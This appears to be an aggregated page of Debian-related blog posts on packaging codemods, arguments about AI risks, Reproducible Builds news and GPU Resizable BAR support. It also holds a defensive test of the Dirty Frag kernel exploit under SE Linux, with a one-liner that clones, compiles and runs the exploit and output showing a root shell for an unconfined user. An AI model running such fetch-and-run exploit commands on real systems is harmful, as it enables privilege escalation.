deb-scrub-obsolete is a tool in the debian-codemods suite that tries to identify and remove cruft automatically. It knows about dummy transitional packages, superseded alternatives, and similar patterns it can detect by querying the archive. But some workarounds are too project-specific for a generic tool to recognise on its own. Developers can leave structured comments in their packaging files that tell deb-scrub-obsolete when a particular line or block can be removed. The Debian Janitor regularly runs various codemods like deb-scrub-obsolete on all vcs-accessible Debian packages. This means that if you leave a remove-after: trixie annotation in your package, you will automatically get a pull request to remove the annotated code once trixie has been released, without needing to remember to do it yourself.

Discussion of AI systems seems to be dominated by fears of uncommon and unlikely threats. I think that we should be focusing more on real issues with LLMs and with society in general and put the most effort towards the biggest problems. It s Not AI True Artificial Intelligence [1] (IE a computer that has the mental capacity of a household pet) is something that I think can be developed, but it hasn t been developed and we don t have good plans for developing it. We seem to be a lot further away from achieving that goal than we were from landing on the moon in 1962 when JFK gave his historic speech. What we have is a variety of pattern recognition systems that can predict what fits into a pattern. The most well known type of Machine Learning (ML) is the Large Language Model (LLM) which means ChatGPT and similar systems which predict which text would be likely to come next and can make an essay from it. They can give interesting and useful output, but there is no thought behind it, it s just a better form of Eliza (the famous program from 1964 that simulates conversation by pattern matching) [2]. By analysing billions of documents, storing the data in a condensed mathematical way, and then using computation to extract from that record LLMs can produce output that is unfortunately considered by some people to be good enough to include in legal documents submitted to courts, university assignments, and many other documents. But they do so without even having the thinking ability of a mouse. To call current systems AIs without any significant qualifiers when criticising them is to concede the debate about the worth of such things. If we develop AIs that can actually think we will have to deal with the issues in the SciFi horror short story Lena by qntm [3]. The Bad Arguments Here is a list of some of the most unreasonable arguments I ve seen against AI which distract attention from real problems both related to AI and other problems in society. Suicide and Homicide Wikipedia has a page listing Deaths Linked to Chatbots [4] which right now has 16 entries from 2023 to Feb 2026. They are all tragedies and as a society we should try to prevent such things. But what I would like to see from the media is some analysis of overall trends, yes it gets people s attention when someone dies in an unusual way but we need to have attention paid to the more numerous deaths which are preventable. It has become a standard practice to give information on Lifeline in media referencing suicide, it would be good if they also developed a practice of mentioning the relative incidence of a problem when publishing an article about it. One of the many factors that cause more suicides than chatbots is school, Scientific American has an informative article from 2022 about the correlation between child suicide and school [5]. It is based on US statistics and shows that the lowest suicide rate is in July (a no-school month in the US) which has a rate of 2.3 per 100,000 person years. So if kids had a quality of life equivalent to July all year around then there would be 2.3 suicides per 100,000 kids every year while if they had a quality of life equivalent to a Monday in January or November it would be 3.9 suicides per 100,000 kids every year. The article states Any time I present these data to teachers, parents, principals or school administrators, they are shocked. This should be common knowledge. It is common knowledge to anyone who takes any notice of what happens in schools, but paying attention to serious problems is unpleasant, it s more fun to pretend that school is good for everyone. No parent wants to think that they sent their child to a place that was horrible, no teacher wants to think that they are part of a system that harms kids. The US CDC has an informative article about youth suicide [6] which documents it as the 3rd largest cause of death in the 14-18 age range fro 2021. This article was published in 2024 and based on statistics from 2023 and earlier. It notes significant differences in suicides, attempts, and persistent feelings of sadness or hopelessness which had girls at more than twice the rate of boys and LGBQ+ kids at more than twice the rate of heterosexual students. It seems obvious that misogyny and homophobia is correlated with suicide and that s something that could and should be addressed in schools. My state has a Safer Schools program [7] to try and alleviate the problems related to homophobia, but I expect that things are getting worse in the US in that regard. 39.7% of kids in US high schools had persistent feelings of sadness or hopelessness before LLMs became popular, school could and should be a happy time for the vast majority of kids but instead almost half of the kids don t enjoy it and a majority of girls and LGBQ+ kids don t. Having no mention of trans kids is a significant omission from that article, based on everything I ve heard from trans people I expect that their statistics would be even worse. One could argue that the small number of deaths inspired by use or misuse of LLMs is an indication of a larger number of people suffering in ways that don t result in death and don t get noticed. But I don t think that can compare to the fact that the majority of girls and LGBQ+ kids have persistent feelings of sadness or hopelessness in the current school system. Regarding homicide, the Australian Institute of Criminology has an article showing that in the 2003-2004 time period 49% of women who were killed were listed as a domestic argument [8], that s something that could and should be addressed. That article claimed 308 homicide victims in that time period which is larger than the world-wide death toll from LLMs but also less than 1/3 the death toll from car accidents in Australia. Australia has less than 0.4% of the world population, a fairly low homicide rate, and a number of homicides that vastly outnumbers all world homicides related to LLMs. I think it s great to address any cause of suicide or homicide, but devoting government resources and legislation towards very uncommon causes instead of things that happen every day is not a good strategy. It would be fine to address all factors leading to suicide, but problems with the school system have been a major factor for decades with little effort applied to fix it. Fraud and Other Crime There is evidence of criminals using LLMs to help prepare for crimes, the ability to generate large amounts of text quickly can be used for fraud and extortion. This is going to be a serious problem and we need structural changes to society to deal with it. There is an ongoing issue of scammers convincing older people that their child or other young relative is in trouble and a large amount of cash is required to address it. This sort of scam as well as the more well known Nigerian scams will probably become more common as the cost of running them decreases. This may be more of a problem for people in developing countries as currently a common scam business model is to have people in regions where wages are low (such as Pakistan for one who I spoke to) scamming people in relatively wealthy countries like Australia so an attack with a low probability of success is financially viable. Cheaper attacks will make less affluent victims financially viable to the scammers. While writing this post I received a financial scam phone call trying to get me to invest in SpaceX that was run by an AI chat system, I expect to receive more of them and this is something that needs to be dealt with via both technical measures and legislation. Do we have to accept less freedom and less anonymity in finances as a cost of reducing financial crime? Greater restrictions on the use of cash would make some crimes more difficult or less profitable for criminals. As a society I think we need to have a discussion about a balance between financial freedom and freedom from criminal exploitation, failing to have such a discussion is likely to lead to policies which don t work well. Also one thing that ML systems are good at is recognising patterns in data. Banks could scan all their transactions and look for patterns that correlate with fraud. They currently do this badly and do things like locking credit cards when someone goes to another country and spends money. They could do a better job of that and involve the police in cases of obvious fraud even when the customer doesn t realise that they are a victim. This isn t a reason to criticise AIs , it s a reason to plan defensive technology that matches the capabilities of attackers. As an aside I used to work for a company that was developing AI software to scan bank phone calls and allow banks to recognise employees who acted illegally. Unfortunately the Royal Commission into banking misconduct [9] didn t impose any penalties that gave the banks a financial reason to avoid criminal activity. Unemployment and Inequality There are many claims about AI systems making large numbers of jobs obsolete, some of them are outlandish such as the claims that all white-collar jobs will be obsolete in the near future. There are some reasonable claims like the ability to replace some mundane jobs. Replacing jobs that suck with computers, robots, and other machinery is a good thing! Very few people wish that they were working on a farm without a tractor. In 1900 it s estimated that between 60% and 70% of the world labour force worked in agriculture and 40% of the US labour force did so. Now it s something like 27% globally and between 1% and 3% in developed countries. Automated factories are also a good thing, it s best to avoid boring and dangerous work. The most plausible claims about job replacement from AI is jobs that involve analysing and summarising documents. One example that comes to mind is the worst kind of journalism where press releases from companies are massaged into the format of a feature article. I don t think anyone wants that sort of job and doing it with AI hopefully means no human has to sign their name to it. For work like programming few people will be directly replaced by AI but if people can do their work more efficiently while using it then less people are required. I don t think that any programmer likes the part of their job where they have to skim read long documents looking for a clue about how to solve a problem with a library or protocol. A LLM processing the document and finding the potentially useful things will take away the drudgery from the work and allow greater productivity. The trend in replacing people has been making people work longer. If you force all employees to work 60 hour weeks then that can theoretically allow hiring fewer people than having 40 hour weeks. For some work that applies but for skilled work it mostly doesn t as productivity and work quality on average drops when people work more than 40 hours in a week. Another trend for exploiting people is having a low minimum wage and making accommodation expensive so that many people need to work two jobs. What we need is legislation to restore the situation in the 70s where a single full time job was sufficient to provide for a family. The low minimum wage and high expenses for many things is a problem that s been slowly developing over the course of decades while being mostly ignored by journalists. If they could concentrate on the real issues that are hurting workers today they could incite political action to fix these problems. Academic Cheating There is no shortage of ways of cheating in school and university. There are people who are paid to write essays, mobile phones are used for cheating in exams, etc. Getting an AI to write essays makes it easier to cheat for the essay writing part but does so with lower quality and in a less stealthy way. What s the worst case scenario? That we have to change to oral exams for all university subjects? In the US the average annual price for tuition at a university is apparently $25,000, if each student had individually supervised assessment for their exams at a cost of $100 per hour it would make the degree cost 4% more. The cost of university in the US is unreasonably high and that s a problem that needs to be fixed, but a hypothetical case of increasing the price by 4% isn t going to be a major part of it. Weak Arguments Against AI Computer Security Attacks There have been many claims made that AI will break the security of all systems and cause the type of disruption that was previously predicted for year 2000. Bruce Schneier has written a good analysis of the issues including how AI can be used by both attackers and defenders [10], he doesn t have a strong conclusion on whether the net result will be good or bad but his article does make it clear that the result is not going to be a total disaster. While I was working on this post I read another post by Bruce Schneier that was significantly more negative about this issue [11]. While I still don t think this will destroy civilisation I found his other post convincing enough to move computer security from the bad argument section to the weak argument section. Spidering the Web to Death There are issues of bots from AI companies doing a bad job of trying to download all the Internet s content and using a lot of resources. When it was just the major search engines and the Wayback Machine doing it the load was small due to having a small number of organisations that were very good at the way they did it having evolved practices over many years. Now we have a lot of idiots doing it badly and repeatedly hitting generated content. This is really annoying but is something that we can deal with. Currently my blog and many other sites are hosted on a Hetzner server with a E3-1271 v3 CPU with 32G of RAM and there are occasions where more than half the CPU power is being used to service web requests from such systems. Even on the server bidding (renting servers previously used by other customers) Hetzner isn t offering systems so slow nowadays, the slowest they offer is about 20% faster than that. This is something that can be dealt with by spending a little more on hosting until the companies doing that go bankrupt. I m sure this is a serious problem for some people, but for most people it s not a big deal. Also hostile traffic on the Internet is something we have all had to deal with as a part of life since the mid to late 90s. RAM Prices The unreasonably high prices for RAM are annoying and hurt the development of useful computer projects. Big companies can afford it, even with current high prices and large quantities of RAM used for some servers it s still not significant. But it is a major issue for hobbyists and small projects. Things like setting up a dozen test VMs for FOSS development are now too expensive for many people who develop software in their spare time. But this is a temporary thing, if AI companies were to keep buying RAM at high rates for a few years companies would just manufacture more of it to meet demand. In some situations capitalism can work. Environmental Damage There are many people claiming that power used by data centers for AI will lead to environmental damage, using power and water when there isn t enough. The trend of computer hardware is to get smaller and faster. It hasn t been going as fast as it used to in many areas but it hasn t stopped either and it s an exponential trend. There has been an increase in data centers (DCs) for AI use as the use has been increasing faster than the hardware gets smaller. Eventually they will stop increasing faster than advances in hardware and software can match and the size of DCs will decrease. As the production of renewable energy is increases the environmental cost of energy hungry industries decreases. In a few years this won t be an issue anyone is bothered about. False Claims About Danger as PR Jamie McClelland makes an interesting claim that the AI companies are pushing dangers of AI as a method of PR [12]. That seems plausible and combined with the tendency of many journalists to just massage press releases from companies into articles could be the reason for a lot of the bad arguments against AI. Good Arguments Against AI Spam Everywhere I ve previously written about Communication and Hostile AIs [13]. I think that filling all communication channels with rubbish is a denial of service attack against society. In the past communication took some effort, even the simplest email that was directly targeted at the recipient took some human effort and that reduced it s frequency. I get a lot of spam saying something like I see your web site doesn t rank in the top for Google searches while my web site in fact rates well and the actor named Russell Coker is ranking below me, so I know that such spam hasn t had the minimum of human involvement. Now a spammer who wanted to do a better job could get an LLM written spam for every target so the message was specifically aimed at them and would take much longer to be recognised by a human as spam and would also avoid most anti-spam software. Searching for businesses used to be easy, the phone book had listings for them and there was a real cost to being in the book as well as humans actively trying to stop fraud. Creating fake web sites to get business isn t too difficult but it s also not trivial at the moment and such fake sites won t look complete. Now with LLMs it s possible to create hundreds of sites that have content and look reasonable without human involvement. Instead of the small number of suicides and homicides inspired by AI chat systems we should probably be concerned about people who need psychological or medical advice being misled by bogus web sites created as part of fraud campaigns. Imagine people searching for mental health assistance finding web sites run by cults who oppose psychology as a profession. Imagine people searching for basic medical advice such as how to cook a healthy meal getting sucked in to web sites that start sane and then lead people to Ivermectin as a universal medicine. LLMs have the potential to take spam from quick and simple attacks to large scale targeted fraud aimed at people and organisations that don t have the resources to defend against it. There have been many reports of CEO impersonation fraud against major corporations aiming to steal hundreds of thousands of dollars and fraud against individuals who are persuaded to get amounts like $50,000 to help a relative who is allegedly in a difficult situation. But if every corner store experienced the same type of attack that CEOs experience and if every child had someone trying to steal the pocket money in the same way that relatively wealthy people are being targeted now it would really change things. David Brin wrote an insightful and informative blog post about this focusing on how AI generated content is being allowed to destroy YouTube [14]. Deep Fakes There is some overlap between filling all communications channels with rubbish (fake news etc) and deep fake. Making a fake photo of a politician or celebrity to lobby for legislative changes is a real issue but it s not what most people think of when the term deep fake is used. Using photo and video faking targeting non-consenting people is a serious issue. It s not just fake porn (which is a major issue and will cause some suicides) as there are many other possibilities. Fake videos showing behaviour that justifies sacking people from their jobs is going to become an issue, for people in public facing positions even proof that the videos are fake won t necessarily help them. Will we find ourselves in a situation where every politician gets deep-fake porn made of them and the only people who run for public office are ones who are cool with that? Will positions of leadership in the technology industry be restricted to people who aren t bothered by having the most depraved fake porn made of them? The Justice System We have seen a lot of evidence of law enforcement and the court system based on bias leading to bad results. The Innocence Project attempts to correct that and it s web site documents some of the things that have gone wrong [15]. Using AI systems to do some of the work of law enforcement by training computers on the flawed results of current systems can entrench bias and also make it harder to spot. When determining whether someone should be considered a suspect or whether a prisoner should be eligible for parole the number of factors that a human can use is limited. But a computer can take many more factors into account so the issues of whether inappropriate factors are being used can be masked. Computers are also unable to explain decisions that they made and are also able to come up with better fake reasons. In the past there have been racist policies in the US about banks not lending to people living in suburbs where most houses were owned by non-white people, these policies were documented and the documents have become part of the historical record showing racist policies. If a LLM decides not to lend money to people based on mathematical correlations it determined based on historical banking practices it could assign negative weights to factors such as non-English names and implement the racism in a large array of numbers with no proof. The current cases of lawyers getting LLM systems to do some of their work and having their incompetence revealed when the computer generated work is shown to be ridiculously bad are amusing. But that is not the real problem. The real problems will start when the computers in police cars start flagging every car owned by a non-write person as having a probable cause for a drug stop. Technically Not Financial Fraud The majority of the ecosystem around AI is a financial scam [16]. There are companies and individuals doing good things with machine learning some of which is based on hardware and software developed as part of this ecosystem. But the majority of it has no plausible path to profits and a the future of it inevitably ends with some bankruptcies. There are circular flows of money that have the major cloud providers and NVidia looped in, when the values of these companies correct it will become apparent that they have all burned a lot of money keeping this running and all the senior people have got a share of it (the entire purpose of stock options is to allow senior people to suck money out of the company). Then every cloud provider will increase costs while under chapter 11 and all the companies that depend on them will pay whatever it takes. That includes all major companies and most governments. Unlike the dot-com boom and crash and the housing crash the coming financial crash will impact every company that we deal with and most governments. So the people in first-world countries will effectively be taxed to pay for this scam while the executives go party in Monaco. This may seem like an extreme claim but it all happened before with the dot com crash and the housing market crash. The CEO class has an ongoing practice of doing things that aren t crimes because they lobby (bribe) politicians to make them legal. So the current stock market shenanigans around AI don t seem to involve things that governments consider to be crimes. But any normal person might be surprised to learn that such things are legal and most people would vote for such things to be crimes if they had the opportunity. A global financial crisis is the least of the problems that seem likely to afflict society from AI systems. But it will be more immediately obvious when it happens which could be this year! Propaganda Creating art requires skills that the type of people who want to create propaganda tend to lack. AI technologies allow creating art that is based on mathematical models of actual art to the requirements of the person running the program. I have seen the term AI Fascism used to describe the use of AI to help authoritarian governments. I am dubious about whether it deserves that term and while every article I ve read about the topic has had some good points I thought that they were all weak points. But there are lots of ways that governments can abuse their populations without going full fascist. In the last century there were lots of truly terrible governments that didn t even make the top 10 of fascism. AI Sycophants Bruce Schneier wrote an informative blog post about AI Chatbots and Trust which focused on sycophantic chatbots [17]. We have seen a lot of evidence of terrible behaviour and stupid decisions from rich people due to having no negative consequences for bad choices. The vast majority of the history of kings concerns bad decisions made by such people. A future where middle class and poor people can make the same bad decisions as rich people wouldn t be good. Good Things About ML Machine Learning (abbreviated as ML) can do useful things. It s not just Large Language Models (LLMs) such as ChatGPT etc. There are also ML systems that can analyse images and other data sets. I have found ChatGPT to be very useful for making suggestions for improving blog posts. I don t get it to write anything just ask for suggestions. It has pointed out things that I missed such as when I didn t include the price when reviewing a car because the car in question was much more expensive than I will ever pay, the price wasn t relevant to me but would be to some readers. It has also made useful suggestions about structure of blog posts, repeating points, and having a good conclusion. It has some downsides which include trying to erase my voice from my writing, suggesting that the rhetorical question does email suck? is unprofessional. I have worked for a company that used ML systems to analyse driver performance and alert people if a driver is falling asleep, using a phone, or otherwise seems unable to drive safely. Their business model involved a human reviewing the images from the drivers the computer flagged and then determining who is actually doing the wrong thing. This seems a good use of the technology. I have also worked for a company that used ML systems to analyse the performance of bank employees and detect potentially fraudulent behaviour. Preventing crime seems to be clearly a good thing and in this case the manager of the employee in question would review the evidence to make sure that they weren t being falsely accused. Conclusion I don t think that the problems with managing the changes that so called AI is introducing are particularly new. An example of how society handles change that s worth considering is car safety. The seat belt first became mandatory for aeroplanes in some jurisdictions in 1928. The Model T Ford is widely regarded as the first vehicle to start a mass market for cars and it was released in 1925. So if society acted in a reasonable way then for the majority of mass market cars seat belts would have been a standard feature. However seat belts were first made compulsory in 1970 in Victoria Australia and there are still people who think that they are safer without seat belts! The delay in adoption of car seat belts is only one example of needless deaths caused by not taking reasonable measures for car safety but it s one that s easy to demonstrate and measure. The difference between past problems like car safety and the current problems of AI is that the AI problems will be more pervasive. Most of my history as a car driver and car passenger was in cars that are much less safe than cars made in the last 10 years. But partly through luck I ve never been in a serious crash so being in cars that wouldn t have given me a low probability of surviving a freeway speed crash didn t affect me. There is no possibility that through any combination of luck and skill someone could avoid the downsides of AI . If nothing else the results of elections will be affected and no-one can avoid that. As a society we really need to address the real issues related to AI which in some cases requires legislation.

• [1] https://en.wikipedia.org/wiki/Artificial_intelligence
• [2] https://en.wikipedia.org/wiki/ELIZA
• [3] https://qntm.org/mmacevedo
• [4] https://en.wikipedia.org/wiki/Deaths_linked_to_chatbots
• [5] https://tinyurl.com/262hrtke
• [6] https://www.cdc.gov/mmwr/volumes/73/su/su7304a9.htm
• [7] https://www.vic.gov.au/safe-schools
• [8] https://www.aic.gov.au/sites/default/files/2020-05/cfi110.pdf
• [9] https://tinyurl.com/2cbhq737
• [10] https://tinyurl.com/254wy3br
• [11] https://tinyurl.com/2cnx7t48
• [12] https://tinyurl.com/27wgwqu4
• [13] https://tinyurl.com/2354dewc
• [14] https://tinyurl.com/28vhagfz
• [15] https://innocenceproject.org/
• [16] https://fromtheprism.com/anthropic-30-billion
• [17] https://tinyurl.com/2cc6tyov

Hot on the heels of the Copy Fail vulnerability [1] there is a new vulnerability Dirty Frag [2] (I linked to the Alma Linux page because it s the first one I saw and it explains things well). The Test System The test system was running kernel 6.19.14+deb14-amd64 and had the configuration after my last test of Copy Fail which was a default configuration with the following commands run:

semanage login -m -s user_u -r s0 __default__
restorecon -R -v -F /home
semanage login -m -s root -r s0 root
# logout and login again
semodule -X 100 -r unconfined

Strict Policy is Not Vulnerable I did a quick test on a Debian SE Linux system with a user running as user_t (which is often referred to as strict policy ) and got the following result:

test@testing1:~/t$ git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
Cloning into 'dirtyfrag'...
remote: Enumerating objects: 26, done.
remote: Counting objects: 100% (26/26), done.
remote: Compressing objects: 100% (20/20), done.
remote: Total 26 (delta 9), reused 23 (delta 6), pack-reused 0 (from 0)
Receiving objects: 100% (26/26), 5.83 MiB   11.47 MiB/s, done.
Resolving deltas: 100% (9/9), done.
dirtyfrag: failed (rc=1)
test@testing1:~/t/dirtyfrag$ ./exp 
dirtyfrag: failed (rc=1)

I checked the audit log and saw the following:

# audit2allow -al
#============= user_t ==============
allow user_t self:rxrpc_socket create;
allow user_t self:user_namespace create;

It seems that the rxrpc_socket access is the main thing. I did a search for domains permitted to use that class on a system without unconfined domains and saw the following:

# sesearch -A -c rxrpc_socket
allow daemon init_t:rxrpc_socket   getattr getopt ioctl read setopt write  ;
allow devicekit_disk_t domain:rxrpc_socket getattr;
allow sosreport_t domain:rxrpc_socket getattr;
allow sysadm_t domain:rxrpc_socket getattr;

This configuration doesn t appear to be vulnerable, at least to this form of the attack. Unconfined Domains I reinstalled the unconfined policy with the following command and assigned it to the user test2 with the following commands:

semodule -X 100 -i /usr/share/selinux/default/unconfined.pp.bz2
semanage login -a -s unconfined_u test2
restorecon -R -v -F /home/test2

I then tested the exploit as user test2 and got the following result:

test2@testing1:~$ git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
Cloning into 'dirtyfrag'...
remote: Enumerating objects: 26, done.
remote: Counting objects: 100% (26/26), done.
remote: Compressing objects: 100% (20/20), done.
remote: Total 26 (delta 9), reused 23 (delta 6), pack-reused 0 (from 0)
Receiving objects: 100% (26/26), 5.83 MiB   16.57 MiB/s, done.
Resolving deltas: 100% (9/9), done.
# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
# 

The kernel message log had the following lines from the time of the attack:

[ 1310.861545] Initializing XFRM netlink socket
[ 1310.909048] alg: No test for authencesn(hmac(sha256),cbc(aes)) (authencesn(hmac-sha256-lib,cbc-aes-aesni))
[ 1310.909935] alg: No test for echainiv(authencesn(hmac(sha256),cbc(aes))) (echainiv(authencesn(hmac-sha256-lib,cbc-aes-aesni)))
[ 1318.353602] process 'su' launched '/bin/sh' with NULL argv: empty string added

Conclusion It seems that we will be getting a lot of these so running SE Linux users as user_t is the right thing to do for servers and multi user systems.

• [1] https://etbe.coker.com.au/2026/05/04/copy-fail-on-debian-and-se-linux/
• [2] https://almalinux.org/blog/2026-05-07-dirty-frag/

Welcome to our April 2026 report from the Reproducible Builds project! Our reports outline what we ve been up to over the past month, highlighting items of news from elsewhere in the increasingly-important area of software supply-chain security. As ever, if you are interested in contributing to the Reproducible Builds project, please see the Contribute page on our website. In this month s report, we cover:

1. Tor stateless relays and Reproducible Builds
2. Civil Infrastructure Platform celebrates 10 years of supporting industrial grade Linux
3. Reproducible Builds at LinuxFest NorthWest
4. Reproducibility issues in Rust binaries that embed random bytes
5. Distribution work
6. Patches
7. diffoscope development
8. Documentation updates
9. Misc news

---

Tor stateless relays and Reproducible Builds An interesting post was published on Tor Project blog by Osservatorio Nessuno OdV this month on stateless relays . These are stateless, diskless operating systems that are designed to be used as Tor exit relays. According to the post, which is titled A Server That Forgets: Exploring Stateless Relays:

For relay operators, this approach raises the security bar by enforcing better behaviors by design: [ ]

1. Reproducibility. A system that doesn t change between reboots is easier to verify and, eventually, to reproduce and audit.

Furthermore, using a Trusted Platform Module (TPM), could allow for greater integrity in the future:

Transparency logs. Once you have a measured boot chain, you can publish it. A relay operator provides a recipe for a reproducible build; anyone can recompute the expected hash and verify it matches what the TPM reports. An append-only transparency log can make these attestations publicly auditable. The Tor community could run an independent monitor to track this across the relay fleet.

Civil Infrastructure Platform celebrates 10 years of supporting industrial grade Linux Congratulations to the Civil Infrastructure Platform (CIP) for reaching their 10-year anniversary last month. CIP has been a supporter of Reproducible Builds for many years, and we have collaborated on a number of technical issues that overlap. As Chris Lamb mentions in CIP s press release:

The collaboration between the Reproducible Builds project and CIP highlights a critical shift in how we approach industrial software. Through verifiability, CIP ensures that the open source foundation of our critical infrastructure is not only sustainable but also demonstrably secure. This commitment to transparency is vital for the trust and resilience required by critical systems over decades of operation.

Reproducible Builds at LinuxFest NorthWest Vagrant Cascadian and Chris Lamb hosted a table in the exposition hall at LinuxFest NorthWest 2026 this month in Bellingham, WA, USA, introducing many people to Reproducible Builds and answering questions both days of the conference. In addition, Vagrant presented Beyond Trusting Open Source Software on Sunday afternoon, exploring the intersection of Free/Open Source Software, Reproducible Builds and Bootstrappable builds, and how they all reinforce each other. Vagrant s slides are available online, including source code to build them reproducibly.

Reproducibility issues in Rust binaries that embed random bytes Reproducible Builds developer kpcyrd opened a ticket on the Rustsec issue tracker regarding binaries that deliberately inject random bytes into their binaries as a secret seed for a Hash Collision DoS mitigation. As kpcyrd notes in his message, this causes issues for reproducibility, and because the relevant end-user binaries are mostly distributed pre-compiled through package managers, those binaries (and by extension the secret seed) are public knowledge . kpcyrd goes on to note:

This is somewhat unique to Rust because Python/JavaScript doesn t compile binaries, and Go (to my knowledge) is too restrictive during build for any library to pull something like this.

Distribution work In Arch Linux this month, Robin Candau and Mark Hegreberg worked at adding a new repro tag/version to the Arch Linux Docker images providing a bit-for-bit reproducible image. Robin also shared a related announcement and implementation details on our mailing list. Arch Linux developer Robin Candau posted a blog post announcing that Arch Linux Now Has a Bit-for-Bit Reproducible Docker Image . Robin mentions one interesting caveat:

to ensure reproducibility, the pacman [package manager] keys have to be stripped from the image, meaning that pacman is not usable out of the box in this image. While waiting to find a suitable solution to this technical constraint, we are therefore providing this reproducible image under a dedicated tag as a first milestone. [ ]

The blog post was also discussed on Hacker News.
In Debian this month, 24 reviews of Debian packages were added, 7 were updated and 16 were removed this month adding to our knowledge about identified issues. Vagrant Cascadian performed Non-Maintainer Uploads (NMUs) in Debian for several packages with outstanding patches over a year old jakarta-jmeter, wxmplot, critcl, vcsh and magic-wormhole-transit-relay. In addition, Reproducible Builds developer Jochen Sprickerhof filed a bug against the APT package manager to request that APT should ignore [a] 0 epoch when downloading or installing with a version specifier . This is related to the special-case handling of the optional epoch prefix in Debian package version numbers.
In NixOS, Julien Malka presented Lila: Decentralized Build Reproducibility Monitoring for the Functional Package Management Model, a paper written together with Arnout Engelen at the Mining Software Repositories (MSR) ACM conference, where it was awarded the MSR 2026 FOSS Impact Award. Congratulations!
Lastly, in openSUSE, Michael Schroeder added reproducibility verification support in the Open Build Service [ ] and Bernhard M. Wiedemann posted another openSUSE monthly update for their reproducibility work there.

Patches The Reproducible Builds project detects, dissects and attempts to fix as many currently-unreproducible packages as possible. We endeavour to send all of our patches upstream where applicable or possible. This month, we wrote a large number of such patches, including:

• Bernhard M. Wiedemann:
  • python-PyBrowserID
  • waywall
• Chris Lamb:
  • #1132876 filed against wapiti.
  • #1133008 filed against mage.
  • #1133174 filed against vim-youcompleteme.
  • #1133958 filed against python-observabilityclient.
  • #1133960 filed against gwcs.
  • #1134236 filed against php-dompdf.
  • #1134490 filed against supercell.
  • #1134552 filed against gunicorn.
  • #1134666 filed against fonts-spleen.
  • #1134667 filed against geoalchemy2.
  • #1134668 filed against rust-opam-file-rs.
  • #1135003 filed against spaln.
  • #1135104 filed against python-msgspec.
  • #1135192 filed against golang-github-go-ini-ini.
  • #1135193 filed against golang-github-deruina-timberjack.
  • #1135269 filed against ruby-timers.
  • #1135279 filed against node-yarnpkg.
• Jochen Sprickerhof:
  • #1133772 filed against gcc-15.
  • #1134412 filed against chromium.
• Michael Schroeder:
  • open-build-service
• Robin Candau:
  • cef
• Chris Lamb and Vagrant Cascadian:
  • ltsp
• Manuel Jacob
  • binutils (consider SOURCE_DATE_EPOCH when emitting static library archive header)

diffoscope development diffoscope is our in-depth and content-aware diff utility that can locate and diagnose reproducibility issues. This month, Chris Lamb made a number of changes, including preparing and uploading versions, 316, 317 and 318 to Debian.

• Chris Lamb:
  • Bump Standards-Version to 4.7.4. [ ]
  • Correct ordering of python3-guestfs architecture restrictions. [ ]
  • Limit python3-guestfs Build-Dependency to architectures that are not i386. [ ]
  • Try to fix PYPI_ID_TOKEN debugging. [ ]
• Holger Levsen:
  • Add ppc64el to the list of python3-guestfs architecture whitelist. (Closes: #1132974). [ ]

In addition, Vagrant Cascadian updated diffoscope in GNU Guix to version 317.

Documentation updates Yet again, there were a number of improvements made to our website this month including:

• Manuel Jacob:
  • Fix some minor wording issues on the Stable inputs page, and update information about the sorting behavior of GNU Make [ ].
  • On the Archives page, remove information about deterministic archives in historical Fedora versions [ ], add a note about .tar file portability [ ] and correct a section about .tar PAX headers [ ].
• Mattia Rizzolo:
  • Add a basic draft, subject to change, of the 2026 Gothenberg Summit event page. [ ][ ]
• kpcyrd:
  • Remove a link from the 2026 Gothenberg Summit event page. [ ]
• ktecho:
  • Add WalletScrutiny.com to the Projects page. [ ]

Misc news On our mailing list this month:

• Timo Pohl posted our list inviting people to online group discussions with 4-6 participants each to talk about your perception of terms and requirements for reproducibility. As Timo notes:

  During our research of the existing literature, as well as my experience at the Reproducible Builds Summit 2025 in Vienna, we noticed that some of the terminology in the field is not used consistently across different groups of people, and that the precise meaning of some core terms like reproducibility of an artifact in itself is not uniform.

  As Timo mentions, the sessions will last roughly 90 minutes and will be rewarded with 50 per participant.
• kpcyrd posted to the list asking for assistance with fixing an issue after updating the flake.lock file for their repro-env project.
• Aman Sharma of the KTH Royal Institute of Technology, Sweden, posted to our list in order to share that Eric Cornelissen, a PhD student in KTH s CHAINS group, is maintaining an open-source project to monitor the reproducibility of GitHub Actions:

  The goal of the project is to assess whether GitHub Actions can be reproduced. Currently, it focuses on two types of Actions: JavaScript-based actions and Docker-based actions (composite actions are not considered). For JavaScript actions, the project rebuilds the distributed files and compares them bit-by-bit with the repository contents. For Docker actions, it rebuilds images from the Dockerfile and checks for semantic equivalence, using diffoci, across builds.

Finally, if you are interested in contributing to the Reproducible Builds project, please visit our Contribute page on our website. However, you can get in touch with us via:

• IRC: #reproducible-builds on irc.oftc.net.
• Mastodon: @reproducible_builds@fosstodon.org
• Mailing list: rb-general@lists.reproducible-builds.org

A feature on modern PCIe implementations is Resizable BAR AKA REBAR . This basically means that instead of allocating 256MB of address space for a PCIe device to have it s memory mapped the device can ask for more, the limit can be 4G with some hardware or the combination of motherboard and expansion card can support 64bit addressing to allow the entire memory space of a GPU to be mapped in one region. Directly mapping all the memory will be faster no matter how things work, but a combination of algorithms optimised for a flat memory layout and overheads from remapping can cause 90% of performance to be lost without REBAR support. Some GPUs (or maybe the software driving them) will even refuse to work without it. I believe that almost all hardware supporting DDR4 will support REBAR at a hardware level, but in many cases the BIOS doesn t support it. There are people who have reflashed a system BIOS to add REBAR support and there are options to use a modified UEFI boot loader to replace the code that is used for mapping the GPU memory. The systems I like to use are server grade tower systems with registered ECC RAM, after a few years they become quite cheap and still give decent performance while supporting large amounts of RAM. But many such systems that could support REBAR don t, presumably because the vendor doesn t have a great interest in supporting new uses of old hardware. Comparing the Name Brand Servers The HP Z640 and Z840 systems I m running date from 2014 and give good performance with replacement CPUs that are cheap on ebay, but they don t support REBAR without a flashed BIOS. The next release of those HP servers are the HP Z6 and Z8 Gen 4 systems from 2017 that have BIOS support for enabling REBAR. The Lenovo Thinkstation Px20 (P520, P920, etc) don t support REBAR which is especially disappointing as they were on sale from 2017 to 2022 and have decently fast CPUs. The replacement for the Px20 systems are the ones that are still on sale now and they seem likely to have REBAR support but won t be affordable on ebay. The Dell PowerEdge T440 and R740 systems (and presumably all their servers from 2017) don t support REBAR. There are no google hits for T550 and R750 systems from 